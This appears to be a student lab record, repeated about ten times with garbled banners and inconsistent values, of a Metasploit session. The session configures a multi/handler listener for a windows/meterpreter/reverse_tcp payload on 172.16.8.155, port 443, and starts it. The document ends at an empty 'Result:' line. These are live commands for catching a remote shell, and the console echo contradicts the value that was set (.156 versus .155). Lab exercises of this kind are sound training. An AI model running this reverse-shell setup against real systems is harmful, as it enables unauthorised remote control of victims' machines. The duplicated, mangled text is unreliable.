


```
Reg no: 210701099
```

|| \ || | _ \| - | ^ / _ \| - / | | | | | - |
| | | | | _ \| | / - \ _ \| | | | | \ | | \ | | | |_
|/_ \|_/ \|_ \| ^ \|_ \|/ V \|_| |_| \|_ \|_ \|

```
[ metasploit v5.0.41-dev ]
+ -- ==[ 1914 exploits - 1074 auxiliary - 330 post      ]
+ -- ==[ 556 payloads - 45 encoders - 10 nops          ]
+ -- ==[ 4 evasion                                     ]

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload
windows/meterpreter/reverse_tcp payload =>
windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show

options Module options

(exploit/multi/handler):

Name Current Setting Required Description
-----
                                .

Payload options
(windows/meterpreter/reverse_tcp):

Name    Current Setting Required Description
---     -
EXITFUNC process yes Exit technique (Accepted: '', seh, thread,
process, none) LHOST yes The listen address (an interface may be
specified)
LPORT 4444 yes The listen port

Exploitation target:

Id Name
-- ---
0 Wildcard Target

msf5 exploit(multi/handler) > set LHOST
172.16.8.155 LHOST => 172.16.8.156
```

```
Reg no: 210701099
```

```
| | \ | | _ _ \ | - - | ^    / _ \ | - _ / | | | | | | - - |  
| | | | | _ _ | | / - \ _ \ \ | |   | | \ | | | | _  
  | | _ _ / \ _ _ V ^ \ _ _ /  V   \ _ | | \ _ _ \  
  
      =[ metasploit v5.0.41-dev                               ]  
+ -- ==[ 1914 exploits - 1074 auxiliary - 330 post           ]  
+ -- ==[ 556 payloads - 45 encoders - 10 nops                ]  
+ -- ==[ 4 evasion                                           ]  
msf5 > use exploit/multi/handler  
msf5 exploit(multi/handler) > set payload  
windows/meterpreter/reverse_tcp payload =>  
windows/meterpreter/reverse_tcp  
msf5 exploit(multi/handler) > show  
  
options Module options  
  
(exploit/multi/handler):  
  
Name Current Setting Required Description  
-----  
  
Payload options  
(windows/meterpreter/reverse_tcp):  
  
Name     Current Setting Required Description  
----     -  
EXITFUNC process yes Exit technique (Accepted: '', seh, thread,  
process, none) LHOST yes The listen address (an interface may be  
specified)  
LPORT 4444 yes The listen port  
  
Exploit target:  
  
Id Name  
---  
0 Wildcard Target  
  
msf5 exploit(multi/handler) > set LHOST  
172.16.8.155 LHOST => 172.16.8.156
```

```
Reg no: 210701099
```

||\|\|_\|- -|\^ / _\\|_-/\|\|\|\|-\-
|\|\|\|_|_| |\/-_\\\ \|\ | \|\\|\|\|_
/|_/\/\\V^\\\/_ V \\| |__\

= [metasploit v5.0.41-dev]

+ -- ==[1914 exploits - 1074 auxiliary - 330 post]

+ -- ==[556 payloads - 45 encoders - 10 nops]

+ -- ==[4 evasion]

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload =>
windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show options Module options

(exploit/multi/handler):

Name	Current Setting	Required	Description

Payload options
(windows/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description

EXITFUNC process		yes	Exit technique (Accepted: ", seh, thread,
process, none)	LHOST	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploitation target:

ID Name

-- --

0 Wildcard Target

msf5 exploit(multi/handler) > set LHOST 172.16.8.155 LHOST => 172.16.8.156

```

Reg no: 210701099

||\|_|_\|- -|\ / _\|_-/\| \| \| |- -| | | | |
|_|_|_|_|_|_|_|/_-\_\\ \| \| \|\|_|_|
  |/_\|/_\V^\\_/ V   \|_|_|_\|_\|_\|

      =[ metasploit v5.0.41-dev                ]
+ -- --=[ 1914 exploits - 1074 auxiliary - 330 post    ]
+ -- --=[ 556 payloads - 45 encoders - 10 nops      ]
+ -- --=[ 4 evasion                                   ]
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload
windows/meterpreter/reverse_tcp payload =>
windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show

options Module options

(exploit/multi/handler):

Name Current Setting Required Description
-----
                                     .

                                Payload options
                                (windows/meterpreter/reverse_tcp):

Name      Current Setting Required Description
---      -
EXITFUNC process          yes Exit technique (Accepted: '', seh, thread,
process, none) LHOST       yes The listen address (an interface may be
specified)
LPORT     4444             yes The listen port

Exploit target:

Id Name
--
0 Wildcard Target

msf5 exploit(multi/handler) > set LHOST
172.16.8.155 LHOST => 172.16.8.156
```

```

Reg no: 210701099

||\|||_|-|-|\ /_||-/||||||-|-|
|||_|_|_|_|_-|\_\ || | |\|||_|
   |/_/\_\V^\\_/ V \_| |_\\_\

=[ metasploit v5.0.41-dev ]
+ -- ==[ 1914 exploits - 1074 auxiliary - 330 post ]
+ -- ==[ 556 payloads - 45 encoders - 10 nops ]
+ -- ==[ 4 evasion ]
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload
windows/meterpreter/reverse_tcp payload =>
windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show

options Module options

(exploit/multi/handler):

Name Current Setting Required Description
-----
                                     .

Payload options
(windows/meterpreter/reverse_tcp):

Name    Current Setting Required Description
---    -
EXITFUNC process yes Exit technique (Accepted: '', seh, thread,
process, none) LHOST yes The listen address (an interface may be
specified)
LPORT 4444 yes The listen port

Exploitation target:

Id Name
e
-----
0 Wildcard Target

msf5 exploit(multi/handler) > set LHOST
172.16.8.155 LHOST => 172.16.8.156
```

```

      Reg no: 210701099

||\| |\_ \| -|\^ / \_| -/\ || | | | -|-|
| | | | _|_| |/_-\_\ \| | | \| | | | |
   /|_| /\_ \| ^\ \| / V \_| |_ \| \_\ \|

    =[ metasploit v5.0.41-dev                ]
+ -- ==[ 1914 exploits - 1074 auxiliary - 330 post        ]
+ -- ==[ 556 payloads - 45 encoders - 10 nops            ]
+ -- ==[ 4 evasion                                         ]
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload
windows/meterpreter/reverse_tcp payload =>
windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show

options Module options

(exploit/multi/handler):

Name Current Setting Required Description
-----
                                     .

Payload options
(windows/meterpreter/reverse_tcp):

Name     Current Setting Required Description
----     -
EXITFUNC process yes Exit technique (Accepted: '', seh, thread,
process, none) LHOST yes The listen address (an interface may be
specified)
LPORT 4444 yes The listen port

Exploitation target:

Id Name
-- ---
0 Wildcard Target

msf5 exploit(multi/handler) > set LHOST
172.16.8.155 LHOST => 172.16.8.156
```

```
Reg no: 210701099
```

```
| |\ | \_ \| - -| ^   / _\ | -_-| |||||- -|  
|\ |||_| \_ \| /- \_ \| ||    || \ |||_|_  
|/_ \|_/ \_\ V^ \_\ /  V   \|  |_ \_\ \  
  
=[ metasploit v5.0.41-dev                ]  
+ -- ==[ 1914 exploits - 1074 auxiliary - 330 post      ]  
+ -- ==[ 556 payloads - 45 encoders - 10 nops          ]  
+ -- ==[ 4 evasion                                       ]  
msf5 > use exploit/multi/handler  
msf5 exploit(multi/handler) > set payload  
windows/meterpreter/reverse_tcp payload =>  
windows/meterpreter/reverse_tcp  
msf5 exploit(multi/handler) > show  
  
options Module options  
  
(exploit/multi/handler):  
  
Name Current Setting Required Description  
-----  
  
Payload options  
(windows/meterpreter/reverse_tcp):  
  
Name     Current Setting Required Description  
----     -  
EXITFUNC process yes Exit technique (Accepted: '', seh, thread,  
process, none)  
LHOST yes The listen address (an interface may be specified)  
LPORT 4444 yes The listen port  
  
Exploitation target:  
  
Id Name  
--  
0 Wildcard Target  
  
msf5 exploit(multi/handler) > set LHOST  
172.16.8.155 LHOST => 172.16.8.156
```

```

Reg no: 210701099

||\|||_|- -|\ / _\|- /||| |||- -|
| | | | _|_| | / - \ _ \ | | | | \ | | | | |
    |/_/_/\_/_/\^\\_/_/ V   \| | \_\_\

=[ metasploit v5.0.41-dev ]
+ -- ==[ 1914 exploits - 1074 auxiliary - 330 post ]
+ -- ==[ 556 payloads - 45 encoders - 10 nops ]
+ -- ==[ 4 evasion ]
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload
windows/meterpreter/reverse_tcp payload =>
windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show

options Module options

(exploit/multi/handler):

Name Current Setting Required Description
-----
                                     .

Payload options
(windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---
EXITFUNC process yes Exit technique (Accepted: '', seh, thread,
process, none) LHOST yes The listen address (an interface may be
specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name
--
0 Wildcard Target

msf5 exploit(multi/handler) > set LHOST
172.16.8.155 LHOST => 172.16.8.156
```

```
Reg no: 210701099
```

```
||\|_|_\|-|\^ / _\|_-/\|||\|_|-|\n|||\_|_|_|/_-\_\|\| || | |\|||\_|_\n    /\_\_/^\_\_\_/ \   \|   \\\_\_\_\n\n      =[ metasploit v5.0.41-dev                ]\n+ -- ==[ 1914 exploits - 1074 auxiliary - 330 post       ]\n+ -- ==[ 556 payloads - 45 encoders - 10 nops          ]\n+ -- ==[ 4 evasion                                       ]\nmsf5 > use exploit/multi/handler\nmsf5 exploit(multi/handler) > set payload\nwindows/meterpreter/reverse_tcp payload =>\nwindows/meterpreter/reverse_tcp\nmsf5 exploit(multi/handler) > show\n\noptions Module options\n\n(exploit/multi/handler):\n\nName Current Setting Required Description\n-----\n\n\nPayload options\n(windows/meterpreter/reverse_tcp):\n\nName    Current Setting Required Description\n---    -\nEXITFUNC process yes Exit technique (Accepted: '', seh, thread,\nprocess, none) LHOST yes The listen address (an interface may be\nspecified)\nLPORT 4444 yes The listen port\n\nExploitation target:\n\nId Name\n--\n0 Wildcard Target\n\nmsf5 exploit(multi/handler) > set LHOST\n172.16.8.155 LHOST => 172.16.8.156
```

```

Reg no: 210701099

||\|\|_\|- -|\^ / _\|-_/\|\|\|\|_- -|
|\|\|_|_\| |\/_\_\\ \| | \|\|\|\|_
   /\_/^\V^\\_/ V \_ | \_\_\

=[ metasploit v5.0.41-dev ]
+ -- ==[ 1914 exploits - 1074 auxiliary - 330 post ]
+ -- ==[ 556 payloads - 45 encoders - 10 nops ]
+ -- ==[ 4 evasion ]
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload
windows/meterpreter/reverse_tcp payload =>
windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show

options Module options

(exploit/multi/handler):

Name Current Setting Required Description
-----
                                     .

Payload options
(windows/meterpreter/reverse_tcp):

Name    Current Setting Required Description
---     -
EXITFUNC process yes Exit technique (Accepted: ", seh, thread,
process, none) LHOST yes The listen address (an interface may be
specified)
LPORT 4444 yes The listen port

Exploitation target:

Id Name
--
0 Wildcard Target

msf5 exploit(multi/handler) > set LHOST
172.16.8.155 LHOST => 172.16.8.156
```

```
msf5 exploit(multi/handler) > set  
LPORT 443 LPORT => 443  
msf5 exploit(multi/handler) > exploit
```

```
[*] Started reverse TCP handler on 172.16.8.155:443
```

Result: